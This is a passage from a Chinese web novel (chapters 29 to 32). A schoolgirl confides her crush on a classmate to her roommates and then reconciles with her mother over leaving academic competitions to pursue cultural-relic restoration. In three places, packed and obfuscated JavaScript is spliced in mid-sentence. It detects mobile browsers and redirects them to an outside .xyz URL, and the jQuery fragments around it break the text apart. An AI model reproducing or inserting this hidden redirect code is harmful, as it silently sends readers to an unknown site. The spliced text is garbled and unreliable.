“我...从来都没说过。” 江随意站在原地,陷入过去的回忆里不知所措。 她为什么从来没有说过? 是在害怕,在担心...... 是不是一直以来,是她困住了自己? 各种念头冒出,江随意理不清了。 她回过神,双手拍了拍脸,试图让自己清醒一点。 “上课了,还不回去吗?” 听见顾橖河的声音从身后传来,她愣了几秒才转过身。 对方正站在公告栏前,目光也落在上面。 他唇角微扬,侧头看她:“这也算是榜上见了。” 然后,他顿了顿,眼中带着笑意,问道: “江随意,要不要再约一次?” 那一刻,江随意仿佛又看见了当初的顾橖河。 走廊上的凉风不如礼堂外涌进的暖风舒服,可心脏像被什么撞了一下,不受控制地扑通扑通跳起来。 她读懂了他言下之意。 那情绪来得突然。 江随意顾不上想其他的事情,她只觉得自己要完蛋了。 晚上回寝室时,程瑶三个人落在江随意身后,眼瞧着她自己一个人头也不回地往前走。 陈诺:“她这种症状有多久了?” 周望玥:“接完她妈电话回来后就这样了。” 程瑶:“因为退竞的事和她妈妈吵架了?” 周望玥摇摇头:“看着不像,有时候会莫名其妙脸红。” 陈诺:“真退竞了啊?” 见江随意马上走过头了,周望玥拽着她们跑上去:“回去再说,赶紧先跟上。” “我觉得我完蛋了——” 刚进寝室,江随意就把书包往床上一扔,趴了下去,将头埋在枕头里。 “不是,到底咋了?” 江随意哼哼唧唧磨蹭半天,然后从床上坐起来,原本高高的马尾塌了下来,前边的碎发也有些凌乱。 “我觉得...顾橖河好像...” “......长得挺好看的。” ...... 陈诺点点头:“确实还不错啊,那咋啦?”她不解,“你才发现?” 程瑶也没听明白:“初三那回比完赛你就说过他长挺好看,现在更好看了?” 江随意:“......” “我靠!!!” 周望玥重复几遍江随意的话,似乎琢磨出什么来了,那念头在她脑海里一闪而过,没忍住叫了起来。 “意意,你该不会是......唔......唔......” 29. 少年事 第二十九章少年事 ——心动本就是一瞬间的事。 “嘘——周周,你小声点!”江随意一个激灵,立刻下床扑过去捂住了周望玥的嘴,掌心里还能感觉到对方温热的呼吸和憋笑时的震动。 周望玥被捂得只能拼命点头,喉咙里发出闷闷的“唔唔”声。 程瑶看看她俩,似乎也反应了过来。她迟疑地看向江随意,声音轻轻的:“意意,你该不会是......” 江随意松开手,脸颊有些发烫。她坐回床边,双腿蜷起,下巴搁在膝盖上,点了点头。 “其实我也说不上来具体是什么感觉。” “啥呀?你们打什么哑谜呢,快说说!”陈诺像嗅到八卦的气息一把挽住程瑶的胳膊晃了晃,眼睛亮晶晶地在三人脸上扫来扫去。 “呼......差点没憋过去。”周望玥大口喘着气,抚着胸口,随即转向江随意,难掩笑意:“意意,你真喜欢顾橖河啊?” “卧槽!” 江随意还没来得及回她,陈诺一声惊呼:“意意你早恋了?!不是,这这这......你小心给段长抓啊!没有一对小情侣能从他手底下逃过的。” 她紧张地攥紧了程瑶的胳膊,仿佛被抓包的是她自己。 周望玥嫌弃地白了陈诺一眼,伸手戳了戳她的脑门:“你跳到哪里去了都不知道,这八字还没一撇呢,早什么恋,小孩子一边玩去。” 说着,三人默契地对视一眼,立刻笑嘻嘻地围拢过来,把坐在床边的江随意困在了小小的包围圈里。 程瑶带着好奇问:“什么时候的事情啊?” 周望玥则坏笑着说:“啧啧,这是老对手要开始朝别的方向发展了?嗯?” 被三双眼睛紧紧盯着,江随意只觉得耳根的热度已经蔓延到了脖颈。 “我也不知道怎么说,就是......其实之前就有点怪怪的。今天接完我妈电话,回教室前经过公告栏那边碰见他了,就随便聊了两句。” “然后心里就感觉酥酥麻麻的,像被什么东西撞了一下,跳得很快。” “聊啥了聊啥了?快说来听听,我们一起给你分析分析。”陈诺迫不及待地追问,身体又往前凑了凑。 “也没什么吧......”江随意不好意思地捂着脸,支吾了好一会儿,才带着点求助和不确定看向室友们,“你们觉得这算喜欢吗?” “哇哦~” 她们几乎是同时拖长了音调,交换了一个“果然如此”的眼神,一边摇头一边发出心照不宣的“啧啧”声。 周望玥更是清了清嗓子,故意拿捏着腔调,模仿着顾橖河平时的语气:“江随意,要不要再约一次啊~” “啊啊啊——”江随意羞得整个人往床铺里面缩了缩,抓起一个娃娃作势要砸她,“周周,你能不能正常一点,说正经的,少调侃我。” 周望玥笑着躲开:“哎呀呀,秋天果然是丰收的季节,我们意意同学居然开窍了。我早就觉得不对劲了,你俩平时相处那氛围跟其他人能一样吗?顾橖河对你,和对我们完全就是两种态度。” 她掰着手指数起来:“就说体育课那次,他就是在看你好嘛,你还不承认。每次跑操,跑着跑着,他就往你后面去了,我和林一娢她们观察好几次了,这绝对不是巧合。” “还有啊,尤其接水的时候,好几回你前脚刚出教室,我就看见他跟出去了,干嘛呢?你俩有什么悄悄话是我们不能听的?” 周望玥有理有据:“每回你俩激情讨论题目,完全注意不到周围发生了什么。” “哪有那么夸张......”江随意小声反驳,底气却明显不足。 原本一直安静的程瑶也默默补了一句:“上次徽州游学那张照片其实可以再拿出来细品的。” 陈诺一脸痛心疾首:“我的老天爷,我居然错过了这么多细糠,周周背着我嗑这么好。” “别说了别说了......”江随意两只手扇了扇,试图给发烫的脸降温,“也可能跟当下的心情环境有关吧,突然心跳太快,我自己都分不清了。” 她试图用理性去分析那份悸动,却发现那奇怪的感觉早已超越了理性的边界。 “可有时候心动就是在一瞬间啊。”周望玥的语气难得认真起来。 “一个眼神,一句话,一个巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807825|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合的瞬间,心就动了。” “?” “搞什么深沉,你谈过?” 三人看向周望玥,她沉默几秒,憋不住笑:“我看过猪跑行不行?” 聊着聊着,四个女孩就挤在了一张并不宽敞的小床上,肩挨着肩,腿碰着腿。 话题从某个心跳加速的瞬间,聊到校园里流传的八卦,又从青涩懵懂的暗恋,畅谈到天马行空的梦想和未来。 直到门外传来宿管阿姨的警告声:“你们几点了还不睡觉?再吵就要扣分了啊!”寝室瞬间噤声,只余下憋笑的气息。 彼此眼神交流一番,她们才蹑手蹑脚地溜下床躲进卫生间。 牙膏泡沫糊了周望玥一嘴,她含糊不清地问:“意意,说真的,要是确认了就是喜欢,你接下来打算怎么办?” 江随意正对着镜子,仔细刷着牙,闻言动作顿了一下。她吐掉泡沫,清水漱了漱口,转过头,故意板起脸:“读书啊,还能怎么办?男人只会影响我解题的速度。” “噗......咳咳......”周望玥被她的回答呛了一下,一手狼狈地兜着快要滴落的泡沫,另一只手朝她比了个大拇指,口齿不清地赞道:“牛!真女人就得这样。诶诶......诺诺让一让,我要吐了。” 洗面奶的泡沫不小心被挤进眼睛,酸涩得睁不开眼,陈诺随便往脸上泼了两把水,闭着眼往旁边挪:“周同学,你就不能往坑里吐啊。” 她摸索着,差点撞到旁边的程瑶。 程瑶笑着扶了陈诺一把,拿起毛巾擦脸。 “行了,别动,我要给你挤出去了。” 江随意梳着头,又道:“其实我感觉顾橖河人还挺好的。” 周望玥终于清理干净,用毛巾擦着嘴,忽然想起了什么:“对了,我听林尧他们说,顾橖河好像申请宿舍了,最近中午都去他们寝室休息,不过晚上好像还是回家住的。” 水龙头被关上,最后一点水流声消失。 窗外的月光似乎更明亮了些,彼此的秘密和寝室的喧闹都沉淀在这如水般温柔的夜色里。明天太阳依旧会升起,但有些东西,就在这样的夜晚悄然生长。 30. 全心事(1) 又是周六放学的时间点,江随意犹豫半天还是选择给程遇打去了电话。 她还是没想好该如何面对妈妈,这个周六还是住北江比较好。 “你不要逃避这个问题。”见她给叶桐发了消息后就把手机关上扔进书包里,程瑶立刻抓住她准备拉上拉链的手。 江随意叹气道:“不是逃避,我只是不知道怎么开口。” 程瑶:“错了,你已经开口了,你妈妈还在等你解释,你不说清楚她没办法知道你怎么想的。” 在那次徽州游学回来后,江随意就同她讲过放弃竞赛转艺术生的事情。说不羡慕江随意是假的,但程瑶也能看出来竞赛这条路确实不容易,江随意并没有从前那么开心。 作为好朋友,她支持她。 但另一方面,程瑶觉得江随意这别扭矛盾的性子实在是要改一改。 江随意把书包拉上。 “我知道,但是我爸今天陪星星参加学校活动了,我哥这周也不回来,所以我想先找程姨商量一下该怎么和我妈妈讲。” “你每次遇到事情会想着找爸爸哥哥,却没想过找妈妈吗?”程瑶有时候恨不得掰开江随意的脑子看看,明明那么聪明的一个人,却总是绕不出来。 “我......” 江随意烦躁地把卫衣帽子戴上,抽绳一拉,头也不回就走了。 “程姨应该来了,我先走了。” 别人都说,越是亲近的人,越难以开口。 可对于妈妈以外的人,她都能够大胆去说出自己的想法和诉求。 江随意想不明白自己到底在犹豫什么。 午后的阳光透过家里客厅的纱帘,空气里还残留着饭菜的余香。 程遇正收拾着茶几上的果盘,听见门铃响了,起身去开门。 “来了。” 见是叶桐,她开了门又回到厨房把东西放下。 “意意呢?” 程遇把腰间的围裙解下来,朝江随意的房间示意了一下:“吃完饭就回房间写作业去了。刚才我去看,发现她睡着了,被子盖得严严实实的。” 叶桐停下脚步,回头看她:“睡了?” 程遇点点头,去厨房里给她倒了杯水,说:“让她先多睡会儿,明天回学校哪里能这么舒服。” 叶桐接过水,走到餐桌旁拉开一把椅子坐下。 “意意放弃竞赛的事情你们知道了?” 程遇在她对面坐下:“嗯。意意回来和我们提了,说是想走艺考的路,读文物修复类的专业,我也不太懂。” 叶桐:“江渐明同意了?” “不然谁能给她签字?”程遇轻轻叹了口气,“你知道他的性子,意意想做什么,只要不是太出格的,他什么时候拦过?尤其是意意自己认定的事。” 叶桐抬手捏了捏眉心又放下,那些烦躁似乎都凝在了指尖,在手机屏幕上点着。 “我记得你有个朋友在A中国际部吧?” 程遇:“是有个同学在那,怎么了?” “能不能帮我私下问问他?”叶桐抬起眼,“如果意意高考出现什么状况,或者艺考这条路走得不顺,我们是不是还能出国?流程要求这些先摸摸底。” “你这是......同意了?”程遇愣了一下,随即失笑:“你不是原本就打算送意意出国的吗?” “那不一样。”叶桐摇头,放下手机不再回复消息。 “原计划是让她在国内读完本科再出去。现在情况有变,要求肯定也不同。” 程遇看着她,眼神复杂:“意意的成绩摆在那里,就算不走竞赛,正常高考,重点大学也是稳的。你其实不用这么......” 叶桐打断她说:“我从不担心她的成绩,退一步讲哪怕真考不好也没关系,但我还是要为他俩准备着,需要的时候不能没有。” 程遇:“怎么,阿和的你也是备着了?” 叶桐:“有计划,但他不听我的。” “意意是听话,那你听过她的话吗?” 叶桐怔住,一时没有明白她的意思。 程遇迎着她的目光,语气平和而有力:“咱们这些年的努力,留给孩子的选择还不够多吗?叶桐,我们就是意意的退路啊。” 她顿了顿,声音放得更柔缓:“意意这孩子,看着对不感兴趣的事有点慢半拍,好像懵懵懂懂的,但她其实是个很敏感的孩子。我也是后知后觉,意意总是会去关注我们的情绪。” “你知道你和江渐明离婚时,意意为什么执意选择跟你吗?” 程遇抛出一个叶桐从未深想过的问题,不等她回答便继续道:“阿和在某些方面会迟钝很多,除了保姆那件事,他至今都不知道原来你们以前也会吵架。而意意在心疼你,她觉得,如果她和哥哥都跟了爸爸,你就真的只剩下一个人了。她舍不得。” 叶桐的呼吸微微一滞,撇过头避开程遇的眼睛。 程遇叹气道:“你的性子也是这样,独立要强,你爸妈当年改了你的志愿,让你磕磕碰碰好多年才走回正轨。所以你希望意意将来不要像你这样拐几条弯才找到路,恨不得把所有的捷径坦途都铺到她脚下。” 程遇身体微微前倾,握住对方的手。 “可是叶桐,你有没有放下所有预设,认真地问过她自己想走哪条路?正如我刚刚讲的,我们可以给她提供的选择有很多,那不妨就让她试一试。” 客厅里陷入了长久的寂静,只有窗外偶尔传来几声模糊的鸟鸣。 叶桐垂着眼,视线落在干净的桌面上,程遇的话搅动着她一直以来固有的想法。 其实仔细想想,意意确实很少和她说什么心里话,尤其四五年级后,很少会像以前那样跟她撒娇,甚至在地上闹腾打滚。 一直以来,都是她在安排一切,好像从来没问过意意愿不愿意。 初三那次拒绝A中提前招,本就是对她的提醒,她应该多去了解意意的想法,却迟了这么久。 叶桐:“你确实比我更像一个母亲。” 程遇笑了,伸手轻轻拍了拍叶桐的手背,安慰道:“快别给我戴高帽子了。谁都是头一回当妈,摸着石头过河罢了,你能想明白就好。” “知道了。” 叶桐长长地舒了一口气,拿起放在旁边的包站起身,目光不由自主地望向女儿紧闭的卧室门,眼神柔软了许多。 她转头对程遇说:“我回去查查有什么好的艺考机构,有什么事随时联系我。” 程遇看着她雷厉风行的样子,忍不住笑着摇头:“你还真是一点都没变,从不打无准备的仗。” 傍晚时分,夕阳的余晖染红了半边天。江随意揉着眼睛从房间里出来,睡了一觉,精神好些了。 客厅里只有程遇在看电视,声音调得很低。看到江随意,她招招手:“睡醒了?饿不饿?” “想吃什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849265|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去给你煮点。” 江随意摇摇头,走过去挨着程遇在沙发上坐下,抱着一个柔软的抱枕,下巴搁在上面,眼神有些放空。过了好一会儿,她才开口说话:“程姨。” “嗯?”程遇把电视声音调得更小了些,侧身专注地看着她。 江随意的声音很低:“我以前一直担心会让妈妈失望,总觉得她为我规划好了那么多,付出了那么多,我要是没按着走,或者走不好,她一定会很生气难过。可是现在......” 她顿了顿,似乎在努力组织语言。 “我好像找到了点自己想尝试的方向,但又觉得好乱,好多东西都搞不清楚。放弃一直以来在做的事情,这算不算很任性?” 程遇伸出手,温柔地将江随意搂进怀里,让她靠在自己的肩窝。 她身上带着令人安心的气息,江随意紧绷的身体微微放松了些。 “傻孩子,”程遇的声音像和煦的风,温柔地拂过江随意的耳旁,“你觉得妈妈会不同意你,可是意意有没有仔细想过,你之前做出的那些决定,妈妈最后有阻止过吗?哪怕你没参加提前招,她其实也能想办法送你去另一个差不多的学校,毕竟我们意意又不差。” 江随意在她怀里轻轻动了一下,似乎在回忆。 “没有,对不对?”程遇替她回答,语气肯定,“还有这次退竞赛,虽然你爸给你签了字,但妈妈才是你的监护人。” “可我有时候就是想不明白,脑子里像一团浆糊,”江随意的声音闷在程遇的衣服里,“我甚至会想妈妈是不是不那么爱我和哥哥?她的眼里好像只有工作,永远在忙,永远在电话会议里。” 程遇轻轻拍着她的背。 “可是意意,她先是自己,才是妻子和妈妈。为了家庭,她也曾放弃过很多。当初有个出国交流的机会,你妈妈却选择毕业后就结婚,导师和同门劝了很久,但她说这不是一时冲动。 “你妈是个很清楚自己要什么的人。” “后来公司突然内部提拔,你妈查出来怀孕,很多人让她回去养胎,你爸却说她要是不想的话孩子可以不要,毕竟这个机会她等了很久。” 江随意把头抬起来:“可妈妈还是把我们留下了,这件事我知道的,我爸给我和哥哥讲过,他也因为这件事情和我们道歉。” “妈妈要工作,他也是支持的,所以小的时候很长一段时间都是爸爸在家里陪我和哥哥。” 她忽然停下。 “但我依然记得那天他们吵得很凶,说要离婚,其实当时还挺害怕的,既然走不下去,当初为什么要结婚?” 察觉到江随意的不安和迷茫,程遇又一次抱紧了她:“意意,没有人能料到以后。” “你爸妈当初是我们那一届公认的非常优秀的人。他们之间有种旁人难以插足的默契,在一起那么多年,没人比他们更了解彼此。” “是真的想要一起过下去,深思熟虑后才决定结婚的。他们应该也很难过让你看到了那一幕,但经营一个家庭本就不是一件容易的事情,所以分开也不是一时冲动。” 离婚后,叶桐全身心地投入到了自己的事业中。唯有江随意出事的那次,江渐明是因为工作这件事和叶桐吵架,甚至一度想要拿回抚养权。 叶桐也很后悔,她开始变得小心翼翼,努力想把自己能给的最好的都补偿给孩子。 只是从来没有人教过她要如何去当一个母亲。 31. 全心事(2) 江随意忽然抬起头,眼圈微微泛红,问:“程姨,你会介意吗?” 程遇的笑容坦然,她伸手轻轻擦去江随意眼角的一点湿意:“以前会,但现在不会。因为彼此相爱过,所以他们现在也是真的放下了。” “过去两个人都年轻气盛,不肯低头退让,相爱着也互相刺痛着,最后选择分开。如果是那时候的你爸爸,我想我们也不会走到一起。可是时间刚刚好,我们再次见到的时候,他已经磨平了棱角,收起了浑身的刺。” 程遇看着江随意,眼神温柔而坚定:“后来的他彻底放下了,我们开始相爱,他变得懂得体贴人、照顾人。我们彼此互补,相互磨合。” “所以啊意意,我并不遗憾学生时代,因为现在这个时候,我和你爸什么都刚刚好。” 她捧起江随意的脸,认真地说:“他们当然爱过,非常相爱,你和哥哥是带着他们的爱与期待而出生的。” “所以不管他们之间的关系最终变成了什么样,有一点永远不会改变,他们始终是你们的父母,永远爱着你们。不要犹豫,不要害怕,有什么想法和困扰,大胆地说出来。” “对他们说,对我说,都可以。” “爸爸妈妈也是第一次做父母,竭尽一切给你们最好的,想把所有可能的弯路都替你们避开,但有时候可能会适得其反。可这不是不爱你,恰恰是太爱了,所以你有时候会感到喘不过气,但你也要学会尝试和父母沟通,不要自己一个人藏着。” 江随意靠在程遇怀里,细细想着这些话。回望过去的十几年,她忽然才发现,其实妈妈从未真正强硬地拒绝过她什么要求。 她始终是被迁就的那一个。 只要江随意开口,叶桐最后都会答应。 可她似乎从未想过要和妈妈好好聊一聊。 那些对爸爸哥哥还有程姨都能自然而然说出口的烦恼和喜悦,她却不曾告诉过妈妈。 她总是在担心妈妈会失望,会不高兴。 “我生气的原因是你从来没有和我商量过,哪怕是告诉我一声。” “意意,我是你的妈妈。” 妈妈在视频里说的这两句话,此刻无比清晰地回响在耳边。 江随意上过的所有兴趣班,都是不知何时被她提过一句的。每次来到新的学校,她想要融入大家,被老师表扬是最快的方法,所以她一直很努力学习,就能被很多小朋友围着要做朋友。 可妈妈不知道。 妈妈以为她是喜欢的。 那些江随意没有说出口的拒绝,妈妈都在用她自己的方式,在能力范围内,为她筛选并提供着自认为“最好”的选择。 原来不是江河困住了她,是她把自己圈在了江河之下。 想通了这一点,她有些释然了。 而对妈妈的愧疚感在下一秒如同潮水般汹涌而来。 江随意的鼻子一酸,眼泪毫无预兆地滚落下来。 “怎么了乖乖?”程遇连忙抽了纸巾,心疼又轻柔地擦拭着她湿漉漉的眼:“怎么哭了呀?不哭了不哭了。” 程遇把江随意搂在怀里,一手托住她的后脑勺,一手在她背上一下一下温柔地顺着,轻拍安抚。 “没事没事,怎么了,和程姨说说,我们不哭了。” “程姨......” 江随意的脑袋趴在程遇肩上,用手抹着泪,小声道:“我想妈妈了。” 程遇松了口气,原来是这个。 “想妈妈了?意意想妈妈了,那程姨送你回去好不好?我们不哭了乖乖,不哭了。” 程遇捧着江随意的脸,用指腹轻轻抹去她眼角的泪珠。“不哭了,等会儿妈妈看见了要心疼的。” 楼下的路灯接连亮起。 叶桐独自在家中的书房里,电脑屏幕亮着,上面显示着几家知名艺考培训机构的简介和历年成绩。 她的手机放在一边,屏幕上是一份刚接收到的关于国际课程衔接的文件。 “妈妈?”有些急切的声音隐约从门外传来。 叶桐滑动页面的手一顿,微微抬了下头,以为自己听错了。 直到那声音变得清晰起来。 书房的门被轻轻推开一条缝,江随意的脑袋探了进来。 她又喊了一声:“妈妈!” 门被完全推开,叶桐还没反应过来女儿怎么会突然出现在这里,那个小小的身影就已经像归巢的雏鸟般,带着一阵风扑进了她的怀里,两条手臂紧紧环住了她的腰。 毛茸茸的头发搁在叶桐下巴,身体比脑子快一步回抱住她的孩子。 “妈妈。” 江随意连着喊了好几遍,带着撒娇的意味。 叶桐有些无措,却又惊喜。 她心软得一塌糊涂,揉了揉江随意的头发。 “不是说今天住你爸那边嘛,怎么现在又回来了?” 叶桐稍稍退开一点,想看清女儿的脸,手指抚上她明显哭过的眼睛。 “怎么了这是?” 江随意抱着叶桐腰的手臂又紧了紧,像怕她跑了似的,不肯撒手,也不回答,只是贪恋着妈妈怀里的温度和气息。 “晚上吃过了吗?”叶桐轻声问,放弃了追问缘由,任由女儿抱着。 “程姨说你下午来了,为什么没有叫醒我?” “看你睡得沉,想着让你多睡会儿,就没舍得叫醒你。”她顿了顿,补充道,“反正周日下午再回学校,还是能见着的。” “倒是你,怎么还哭上了?” 江随意在她怀里蹭了蹭。 本来已经消了一些,结果来的路上又哭了。 江随意平日里喜欢随手拍些东西,杂七杂八的。当初发给江随和的风铃,后来360度各个面都没落下。 她在车上翻手机相册,里面有生活里各种琐碎的事,也有身边的家人朋友,就连那天周望玥发在朋友圈的那张照片也被她悄悄保存了下来。 那么多鲜活生动的影像里,关于妈妈的少之又少。 “没什么,就是忽然好想你,我有又一个多星期没见妈妈了。” 许久,江随意才像是汲取够了力量,在叶桐怀里轻轻动了一下,抬起头。 她眼睛依旧红红的。 “妈妈。” “嗯?”叶桐温柔地应着,将她脸颊边一缕被泪水沾湿的碎发别到耳后,耐心地等待着。 “我......我有好多话想跟你说。”江随意深吸了一口气,像是在给自己鼓劲,“以前总觉得你太忙,或者怕说了你会不高兴,就都憋在心里了。” 叶桐的心被轻轻挠了一下。 “妈妈也不好,都没有问过意意,但是我们现在说也不晚。” “前段时间,我们不是去徽州游学了吗?”江随意的眼睛亮了起来,“我们参观那个古建修复基地的时候,看到那些老师傅,拿着那么小的工具,一点点地清理修补那些破掉的瓷器字画......” “我感觉好神奇!时间好像在他们手里停住了,坏掉的东西又能重新活过来。”她的语气里充满了向往,“妈妈,你知道吗?后来我自己去尝试修复木雕,那不仅仅是修东西,好像是在跟过去对话。” 她顿了顿,小心地观察着叶桐的表情,却无比认真道:“这比解数学题,或者竞赛拿奖,感觉都要更心动一点。” 终于当面把心底的想法说了出来,江随意感觉心口悬着的石头落下了一半。 叶桐静静地听着,没有立刻发表意见,只是眼神专注,鼓励她继续说下去。 女儿眼中那种纯粹的光芒,是她许久未见的。 可江随意的神情却又黯淡下来。 “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849266|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有……就是晓静的事。” 这个名字一出口,叶桐能感觉到女儿的身体在微微颤动。 “大家都说是因为学习压力太大,心理出现了问题。可是妈妈......”她抬起头,眼中充满了困惑和愤怒,“明明不是那样的!晓静她才是一直被欺负被孤立的那一个。” “那些话传得那么难听,为什么没有人去追究那些欺负她的人?为什么大家都只关注结果,只说什么心理健康,却不去问问,是谁把她逼成这样的?” 江随意的情绪有些激动,手指无意识地攥紧了叶桐的衣角:“我觉得这不公平......特别不公平。一个活生生的人,受了那么多委屈......这不对......” “还有我,我当时怎么就没再多留一会儿呢?” “晓静的事,妈妈听说了,也很难过。” 叶桐心疼地将女儿重新按回怀里。 “意意,你能看到这些,能替朋友感到不平,说明你长大了,有自己的判断。有些事确实让人无力,也很复杂。” “不要去怪自己。” “妈妈想让你知道,保护好自己永远是最重要的。如果,我是说如果,以后你或者你身边的朋友遇到类似的情况,一定要第一时间告诉我们好吗?” 她们之间很久没有像现在这样谈心了。 在妈妈的安抚下,江随意的情绪才稍稍平复。 和妈妈聊了许久的专业问题和转艺考这件事后,江随意才犹豫着把另一件事也说了出来。 “其实鼓励我勇敢去说出这些的,还有一个人。”她的脸颊莫名开始发热,连耳朵尖都泛起了粉色。 像蚊子哼哼似的,又往叶桐怀里缩了缩,声音小得几乎听不见:“妈妈,我可能......大概喜欢上了一个人。” 这句话说完,江随意感觉到自己全身的血液都涌到了脸上,心跳声在安静的房间里尤为清晰。 她甚至不敢抬头看叶桐的表情。 女儿突如其来的坦白让叶桐愣了一下。 她没有立刻追问是谁,只是手臂收得更紧了些,下巴轻轻蹭了蹭女儿的发顶。 “哦?心跳这么快,看来是很喜欢了。” 她猛地抬起头,眼睛瞪得圆圆的,带着少女独有的羞赧:“妈妈......” 叶桐看着女儿红扑扑的脸蛋和那双眼眸里藏不住的慌乱,心底最柔软的地方被触动了。 她忍不住笑了。 “能让意意喜欢的男生一定很不错,跟妈妈说说。” 江随意羞得把脸重新埋进叶桐怀里,闷闷地“嗯”了一声。 她开始断断续续地讲着。 上初中时,即便隔着一条江,她也能从各种人嘴里听到顾橖河的名字。 那时候,她还只是单纯地和这个人较着劲。 江随意回想着自己在比赛时第一次见顾橖河,抛去以前的较量,她对‘文物守护者’念念不忘,有很大一部分原因在于对方长得好看。 “我觉得我心思不正,对人家可能是见色起意。” 她不清楚自己到底是在什么时候心动的。可能是在平台的那次谈心,也可能是那天同撑一把伞的时候,又或许是鱼灯夜游的晚上。 在没有顾橖河消息的那段时间里,江随意可以不去想。但自从对方转来南江后,她没办法控制自己,总是会不由自主地想去多了解一点。 关注顾橖河这件事情,好像从初二起就养成了习惯。 从月考榜上那紧挨的名字,说到公告栏前的那个约定,以及室友们的起哄...... 那些细微的心动瞬间,此刻终于找到了最安全的港湾,一股脑儿地倾倒给了妈妈。 窗外的月光温柔地洒进来,叶桐静静地听着,偶尔应和一声,手指有一下没一下地梳理着女儿的长发。 32. 前路清(1) 又是一声感慨:“但他长得是真的好看。” 戳在心窝窝里的好看。 江随意破罐子破摔道:“所以我可能真就是......见色起意。” 头顶传来一声极轻的笑。 “到底是有多好看啊,能让我们意意惦记这么久。成绩也优秀,那这样,明天妈妈送你去学校,顺便让我瞧瞧。” “那不行。”江随意脸上的红就没褪下过,“哎呀,先不说了。” “这是你们这个年纪本就会发生的事,害羞也正常,没有关系的。如果你觉得自己控制不住,可以把心事和我们聊聊。” “喜欢一个人是再正常不过的事,没有什么早恋不早恋的。但现在还有更多的东西在等着你,这只是你成长路上的一角,你要主动掌握这份令你喜悦的事,而非被它影响。” 叶桐只是笑,指腹轻轻蹭过她热乎乎的耳廓,没再继续调侃,目光重新落回亮着的电脑屏幕上。 她挪动鼠标,点开一个文件夹,里面是整齐分类的文档和图片。 “好了,意意,我们说点别的。”叶桐自然地带开了话题,“你刚才说,你好像找到了自己想要尝试的事情?” 江随意被这突如其来的转折弄得怔了怔,但叶桐语气里的认真让她下意识地点了点头:“嗯,妈妈,我对将来的事一直没有什么特别的想法。” “可上次游学接触文物修复,那种感觉特别奇妙。我不是一时起兴,这段时间我想了很多,也查了资料。妈妈,我是喜欢的。” “所以......” 原本还有些紧张,但到了此刻,江随意却异常冷静。 “我希望你可以同意。” 江随意知道这条路不好走,可好不容易有了真正喜欢的,她不想放弃。 终于将这些话对妈妈说出口,她也想试试还有没有其他的可能。 “如果你想好了,那就去做吧。” 叶桐滑动鼠标,屏幕上展示出几家机构和学员作品。 “这个专业其实也有纯文化生的,不一定非要走美术,分的也挺细,除了保护修复外还有专门的保护技术。不知道你想往哪个方向?” “然后我查了省内几家有做文物修复方向的艺考培训机构,口碑和师资力量都还不错。” 一张张图片滑过,那些画面瞬间抓住了江随意的视线。 “还有这家,更偏向书画装裱和古籍修复,他们在首都博物馆有合作项目,表现优秀的学员有机会提前接触馆藏级的修复任务。” “时间比较仓促,妈妈不知道找的这些资料对不对,不过我已经托人去找专业人士咨询了。” 叶桐的声音平稳清晰,像在分析一个重要的商业项目,却字字句句落在江随意的心坎上。 “当然,如果你要走美术报考美院类,基本都是有校考的,对基础的美术功底要求很高,素描、色彩这些一样都不能落下。你有一年多没接触了,接下来得系统去学。” “我知道。” 她小声应着,目光没离开屏幕。一种脚踏实地的感觉,随着叶桐的介绍,渐渐压过了之前的忐忑。 “我其实有考虑过几所学校。” 叶桐的手机里又收到一份新的文件,是各机构详细的课程安排和历年学员的艺考成绩单。 “具体的课程强度、时间安排都列在这里了。还有几家规模小一点但更侧重实践的工作室,资料也在后面。你拿回去仔细看看,比较一下,不用急,想好了告诉我。” 她把那些文件全部导进U盘里,轻轻推到江随意面前。 江随意拿起那个小小的银色U盘,沉甸甸的。 她抬头看向叶桐,对方眼里的情绪很复杂,但绝没有她预想中的失望或愤怒。 “妈妈,”江随意喉咙有点发紧,“你......真的不觉得我放弃竞赛很可惜?或者太突然了吗?” 这个问题在她心里盘旋了太久,此刻终于问了出来。 叶桐沉默了几秒,身体微微后靠,目光越过屏幕,似乎在看窗外沉沉的夜色。 “可惜吗?”她重复了一遍,像是在问自己,语气很淡,“那条路,你走得并不开心,意意,是妈妈发现得太迟了。”她顿了顿,视线重新落在江随意脸上,“至于突然......人生本来就有很多突然。你程姨说得对,我们给你铺了很多条路,不是非得按着哪一条走到底。” “重要的是,你现在想往哪里走。” 她伸出手,掌心向上。 江随意迟疑了一下,把自己的手放了上去。 叶桐的手有些凉,却有力地握住了她的。 “试试看吧。” 叶桐说:“你想画画也好,尝试修复也好,既然决定好了,那就去做。” 